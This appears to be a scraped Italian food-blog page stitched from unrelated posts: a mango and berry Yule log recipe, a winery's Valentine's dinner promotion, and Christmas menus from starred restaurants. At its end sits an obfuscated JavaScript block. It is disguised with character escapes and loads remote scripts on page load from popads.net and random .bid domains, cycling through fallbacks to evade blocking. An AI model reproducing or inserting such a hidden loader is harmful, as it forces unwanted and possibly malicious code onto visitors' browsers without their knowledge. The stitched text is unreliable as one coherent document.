#tronchetto al mango

[gateaux-macarons]

Credo che i dolci alla frutta siano sempre più leggeri e volevo proporvi questa volta il tronchetto di Natale ai frutti di bosco e mango. Assomiglia un po’ agli entremet cocco mango e yellow.

Questo dolce è composto da una dacquoise alle arachidi, una composta ai frutti di bosco, un bavarese al mango e una glassa al mango. Evidentemente potete usare il cocco al posto delle arachidi, usando le stesse porzioni.

Le proporzioni sono per un tronchetto da 22x6cm.

Dacquoise alle arachidi (22x6cm)

42g d’albumi

17g di zucchero

25g di farina di mandorle (o di cocco)

10g + 30g di arachidi schiacciate (o di cocco grattugiato)

25g di zucchero a velo

60g di cioccolato bianco

Preriscaldate il forno a 180 gradi, modalità statica e unite la farina di mandorle, 10g di arachidi e lo zucchero a velo.

Montate gli albumi a neve e versate lo zucchero in tre volte. Dovete ottenere una meringa, a forma di becco d’uccello.

Aggiungete le farine e mescolate delicatamente con la marisa.

Depositate la dacquoise su una leccarda ricoperta da carta forno e fattela cuocere per 15/18 min. Lasciate la dacquoise raffreddare su una gratella.

Quindi, tagliate un rettangolo di dacquoise leggermente inferiore a 22x6cm.

Fate sciogliere il cioccolato bianco al bagnomaria e quando è fuso, aggiungete i 30g di arachidi. Depositate la miscela sulla dacquoise.

Insert ai frutti di bosco

190g di frutti di bosco

40g di zucchero

4g di pectina NH

Unite lo zucchero e la pectina NH.

Versate i frutti di bosco in una pentola e portateli a bollore.

Quindi versate lo zucchero/pectina NH e girate per 1 minuto.

Versate la composta di frutti di bosco nello stampo per tronchetto e depositatelo in freezer per 2 ore.

Mousse al mango

200g di mango

100g di panna da montare

35g di zucchero

4g di gelatina

Succo di 1 lime

Mettete la gelatina in ammollo in acqua fredda.

Frullate il mango, depositatelo in una pentola insieme al succo di lime e lo zucchero. Amalgamate bene e quando comincia a bollire, togliete dalla fiamma e aggiungete la gelatina strizzata.

Lasciate la purea di mango raffreddare.

Quando è fredda, montate la panna e aggiungetela delicatamente alla purea di mango per ottenere una mousse leggera.

Montaggio del Tronchetto di Natale ai frutti di bosco e mango

Versate la mousse al mango nello stampo.

Depositate l’insert di composta di frutti di bosco e spingete un po’.

Depositate la dacquoise sopra la mousse ai frutti di bosco e lasciate rapprendere in freezer almeno 6 ore oppure una notte.

Glassa al mango

Ho usato la glassa del cocco mango che avevo conservato in freezer. Troverete la ricetta qua.

Per glassare il tronchetto al mango e frutti di bosco, la glassa deve raggiungere i 27/28 gradi.

Togliete il tronchetto dal freezer, versate la glassa e lasciatelo scongelare 6 ore in frigo.

Buon natale a tutti!!

Consigli utili

Il Tronchetto di Natale ai frutti di bosco e mango si può preparare in anticipo e si conserva bene in freezer. Anche la glassa. Vi consiglio di glassare il tronchetto la mattina per la sera.

Poteteanche congelare il tronchetto dopo averci messo la glassa al mango. Avresto solo bisogno di farlo scongelare il giorno stesso.

Vi consiglio di preparare un supporto rettangolare leggermente più piccolo del tronchetto per poter depositarlo sopra prima di glassarlo. In questo modo vi sarà più semplice spostarlo senza fare danni.

Tronchetto di Natale ai frutti di bosco e mango Credo che i dolci alla frutta siano sempre più leggeri e volevo proporvi questa volta il…

[enricocassi]

Per San Valentino, prevedi l’imprevedibile. Sorprendi la tua metà con uno scenario tra i più sorprendenti in una delle più rinomate Cantine di Langa.

L’Azienda Agricola Marrone ha sede a La Morra.

Tra queste colline, patrimonio Unesco, è possibile visitare l’Azienda e degustare i vini della produzione o prenotare la cena in Cantina, con menù dedicato a questa festa speciale.

Menù

Quattro piatti cucinati con amore dal nostro chef Paolo Garabello:

Entratina di benvenuto

Battuta al coltello, yogurt, senape e wasabi

Vellutata di barbabietola, rana pescatrice, bacon croccante e chips di porro

Tronchetto di maiale, zenzero e pepe rosa

Bunet alla rosa, mango, cioccolato fondente

Caffè e piccola pasticceria

I vini

Quattro vini selezionati tra le nostre proposte più intriganti

Langhe DOC Chardonnay Memundis

Langhe DOC Passione

Barolo DOCG

Moscato d’Asti DOCG Solaris

La visita

Oltre alle classiche degustazioni puoi partecipare alle cene speciali a tema ed alle cooking class.

I visitatori sono accolti direttamente dai titolari e condotti alla scoperta dei vigneti e della produzione, in un ambiente che conserva l’essenza della cultura langhetta più autentica.

La visita inizia con cenni relativi alla storia della Cantina e della famiglia.

Prosegue poi nei locali di invecchiamento in un’alternarsi di botti di rovere, barriques ed acciaio.

Perché prenotare?

Porte Aperte in Cantina è un’iniziativa molto amata da tutti i curiosi ed appassionati di vino. Per questo motivo riscuote sempre grande successo.

Considerata l’alta affluenza alla manifestazione, consigliamo di prenotare con almeno un giorno di anticipo.

Con la prenotazione, la cantina riuscirà a gestire al meglio la tua accoglienza ed eviterai di incappare nel rischio di non poter essere ricevuto.

https://ift.tt/eA8V8J

[jucks72]

Natale al ristorante: 7 indirizzi stellati

New Post has been published on http://www.it-gourmet.it/2017/12/06/natale-al-ristorante-7-indirizzi-stellati/

Natale al ristorante: 7 indirizzi stellati

Per alcuni Natale significa ore passate a spulciare libri di ricette e ad allestire tavole imbandite. Per altri, invece, significa soltanto un momento per rilassarsi e godersi un pranzo con amici e parenti – un pranzo, però, non cucinato con le proprie mani.

Abbiamo raccolto 7 indirizzi, dal Nord al Sud, per un pranzo di Natale (o una cena della Vigilia) al ristorante. Menu stellati – letteralmente – per un festeggiamento indimenticabile.

E se invece preferite trascorrere le feste di Natale a casa, qui il nostro menu con le ricette degli chef famosi.

Andrea Berton, Milano

Pranzo di Natale 

Broccolo di Natale, caviale e bagna cauda

Anguilla, puntarelle, frutta e verdura in agrodolce

Ravioli coda di vitello, foglie di cavoli, uvetta e pinoli con brodo di vitello

Merluzzo al nero, salsa di pesce e salicornia

Faraona farcita alle castagne, insalata con indivia belga, sedano rapa e melograno

Albume e zucca

Passion fruit e sorbetto al caffè

Castagna, cachi e oro

Panettone

(150 euro a testa bevande escluse)

Abbinamento suggerito con champagne Pommery Champagne Pommery Cuvèe Louise 2000 MG Champagne Pommery Cuvèe Louise Rosè 2003 Massolino Barolo 2013 Champagne Pommery Cuvèe Dry Elixir s.a

Qui maggiori informazioni.

Antica Corte Pallavicina, Polesine Parmense (PR)

Natale in Corte

Aperitivo con piccole stuzzicherie natalizie accompagnate dal nostro Strologo Brut Metodo Classico

A tavola Il Culatello degli Spigaroli Strologo Brut Magnum 2010, Acp

Gli anolini delle terre Pallavicine in brodo di terza

Il bollito misto della tradizione con la mostarda e le tre salse Rosso del Motto, 2014, Acp

La tacchinetta del Ducato disossata con i marroni di Berceto Carlo Verdi Riserva 2011, Acp

Granita di Fortana con gel di limone

Semifreddo al panettone con salsa zabaione Tre Preti Passito 2014, Acp

Il caffè e gli infusi di corte

(90 euro a persona)

Qui maggiori informazioni.

Imàgo – Hotel Hassler, Roma

Shabu di capesante, appicatelli Vesuviani e cedro

Baccalà in tempura al tè nero e cardamomo, noci e mandarinetti

Brodetto di aragosta al tartufo nero, topinampur e vaniglia

Spaghettini alle vongole veraci, cime di rapa e wasabi

Lasagnetta di broccoli romani, mazzancolle e shiso verde

Filetto di salmone selvaggio all’aceto di riso, cannellini e zenzero

Bianco mangiare, mandorle e yuzu

Imàgo e il suo Panpepato

Affogato di panettone al caffè e zabaione

(265 euro bevande escluse)

Qui maggiori informazioni.

Wintergarden by Caino – Firenze

Anguilla laccata, puntarelle e agrumi

Cappelletti tradizionali con il loro ristretto e tartufo nero

Risotto con calamaretti con capperi e bottarga di muggine

Filetto di manzo con salsa al fegato grasso d’oca e verza

Minestrone di frutta esotica e verdure

Parfait allo zenzero

Delizie della tradizione

(110 euro a persona, vini esclusi)

Qui maggiori informazioni.

Il Pagliaccio, Roma

Vigilia di Natale

Fingers Benvenuto dello chef Capasanta, melagrana e radicchio Zucca alla brace, brodo di anguilla Risone e baccalà Ravioli, burro d’alghe e gambero rosso Rombo, purea di agrumi e salsa olandese Snack di formaggio Prima del dolce Tronchetto alla vaniglia e mandarino Coccole finali

(200 euro aperitivo incluso: Franciacorta “Vittorio Moretti, Fidelio” 2004 Bellavista Limited Edition)

Pranzo di Natale

Fingers Benvenuto dello chef Capasanta, melagrana e radicchio Zucca alla brace, brodo di anguilla Ravioli, burro d’alghe e gambero rosso Tagliolino cacio e pepe Rombo, purea di agrumi e salsa olandese Cappone, burro di tartufo e spugnole Snack di formaggio Prima del dolce Tronchetto alla vaniglia e mandarino Coccole finali

(250 euro aperitivo incluso: Franciacorta “Vittorio Moretti, Fidelio” 2004 Bellavista Limited Edition)

Qui maggiori informazioni.

La Torre – Castello del Nero, Tavarnelle Val di Pesa (FI)

Bianco e Nero Cappuccino cremoso di patate e seppie

Cappelletti Tradizionali cotti nel brodo di Cappone

Rombo, Carciofi, patate e menta

Anatra all’arancia, miele delle nostre api, flan di sedano rapa e cipolle caramellate

Sfera di cioccolato ripiena di gelato al panettone, salsa di cioccolato bianco, mango e mandorle

Ricciarelli, Panforte, Cantucci

(150 euro a persona)

Abbinamento vini suggerito (50 euro) Jesera IGT 2016 Venica Verdicchio dei Castelli di Jesi Ris. DOC 2012 Az. Agr. Villa Bucci Fornace IGT 2012 Selvapiana Moscato di Pantelleria DOC Nes Passito 2013 Cantine Pellegrino Vin Santo del Chianti DOC Trecciano

Qui maggiori informazioni.

Per Me – Giulio Terrinoni, Roma

La Vigilia di Natale

Oliva all’ascolana ripiena di Cernia Passatina di ceci e vongole Baccalà in tempura

Battuta di gambero rosso Gel di mandarino, datteri

Sogliola al vapore Guazzetto di vongole, spinaci, bottarga

Bottoni cacio e pepe Seppioline, carciofi

Spaghetto Scampi, broccoli, patate, lime

Zuppa di pesce

Luna Rossa Castagne e cioccolato

La tavola delle Feste

(150 euro bevande escluse)

Il Pranzo di Natale

Ravioli in brodo di funghi Babà salato con fegatini Coratella

Tartare di manzo Chutney di pere, spuma di parmigiano

Insalata di lingua bollita Mostarda di frutta, cremoso di capperi

Anolini di stracotto in brodo

Pappardelle Piccione, pistacci, foie gras

Maialino in porchetta Verza, mela, uvetta, pinoli

Panpepato… Per Me

(150 euro bevande escluse)

  /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var v=window;v["\x5f\u0070o\x70"]=[["s\u0069t\x65\x49\x64",2164519],["\u006di\x6e\u0042i\u0064",0],["\u0070\x6fp\x75\x6e\x64\x65\x72\u0073PerI\u0050",0],["dela\u0079\u0042\x65\x74\x77\x65\x65n",0],["\u0064\x65\x66\u0061\x75\u006ct",false],["\x64\u0065f\x61\x75\x6ctPe\u0072D\u0061y",0],["\x74o\x70\x6do\u0073t\u004c\u0061y\u0065r",!0]];var p=["/\x2fc\u0031.\u0070\x6f\u0070\u0061\x64\x73\x2e\x6ee\u0074/p\u006f\u0070.\x6as","\x2f/\u0063\u0032.\u0070\x6f\x70a\u0064\x73\u002e\x6ee\u0074\x2f\x70\x6f\u0070.j\x73","\x2f\x2f\u0077\x77w\u002e\x79\x63f\u0070ruj\u0079l\u0075k\x6bx\x2e\x62\x69\x64\u002f\u0078\x2e\x6a\x73","\u002f\u002f\u0077\x77\u0077.u\x76\x79a\x73\u0063q\u0062\x6d.\u0062id\x2fw\u0063\u002e\x6a\u0073",""],d=0,y,s=function()if(""==p[d])return;y=v["\u0064\u006f\u0063\x75\u006d\x65\x6e\u0074"]["\u0063\x72\u0065\x61\u0074eE\x6ce\u006d\u0065\u006e\u0074"]("\u0073\x63rip\u0074");y["\u0074ype"]="\u0074\u0065\x78\u0074\u002f\u006a\x61\u0076\x61\x73c\u0072\u0069pt";y["\x61s\x79\u006e\u0063"]=!0;var a=v["\u0064\x6f\u0063um\x65\x6e\u0074"]["g\x65t\x45lem\x65\u006e\u0074\x73By\u0054\u0061\u0067\u004e\x61\x6d\u0065"]("\u0073\x63\x72i\u0070t")[0];y["\u0073\x72c"]=p[d];if(d<2)y["\x63r\x6f\u0073s\u004fri\x67\x69\u006e"]="\u0061\x6e\u006f\x6e\x79\u006d\u006f\x75\x73";;y["\u006f\x6eerr\u006f\u0072"]=function()d++;s();a["p\u0061r\u0065\u006e\u0074\u004e\u006fde"]["i\x6es\u0065\u0072t\x42\u0065\u0066\u006f\u0072e"](y,a);s())(); /*]]>/* */